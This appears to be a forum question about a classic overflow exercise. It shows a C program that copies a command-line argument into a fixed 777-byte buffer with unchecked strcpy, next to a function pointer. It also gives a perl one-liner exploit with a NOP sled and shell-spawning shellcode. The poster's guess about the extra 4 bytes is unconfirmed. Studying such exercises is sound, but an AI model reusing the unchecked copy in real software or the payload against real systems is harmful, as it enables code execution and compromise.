title: Heap Overflow - Structure of the heap
body: <p>When trying to execute a basic heap attack I understand everything, except for size of the input string. The following code can be exploited using <code>perl -e 'print "\x90" x (760) . "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x78\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" . "\x00\x98\x04\x08"'</code> as an argument for the program. The shellcode being used is 21 bytes long. The size of the total string here is 785 bytes, which is 777 of the buffer + 4 of something i don't know and 4 of the function pointer we are overriding.</p>
  
  <p>I read <a href="http://www.dcs.warwick.ac.uk/oldmodelling/other/eden/advanced/notes/stack.html" rel="nofollow">here</a> that the 4 bytes are:</p>
  
  <blockquote>
    <p>A pointer keeps track the top of heap similar to the stack pointer of the stack</p>
  </blockquote>
  
  <p>Is my assumption correct?</p>
  
  <pre><code>#include &lt;stdio.h&gt;
  #include &lt;unistd.h&gt;
  
  void greetUser(char *s) {
      printf("Hello %s!\n", s);
  }
  
  struct data_t {
      char buf[777];
      void (*fp)(char *);
  } somedata;
  
  int main(int argc, char **argv) {
      somedata.fp = &amp;greetUser;
  
      if(argc &lt; 2) {
      printf("Usage: %s YourName\n", argv[0]);
      exit(1);
      }
  
      strcpy(somedata.buf, argv[1]);
      (somedata.fp)(somedata.buf);
  
      return 0;
  }
  </code></pre>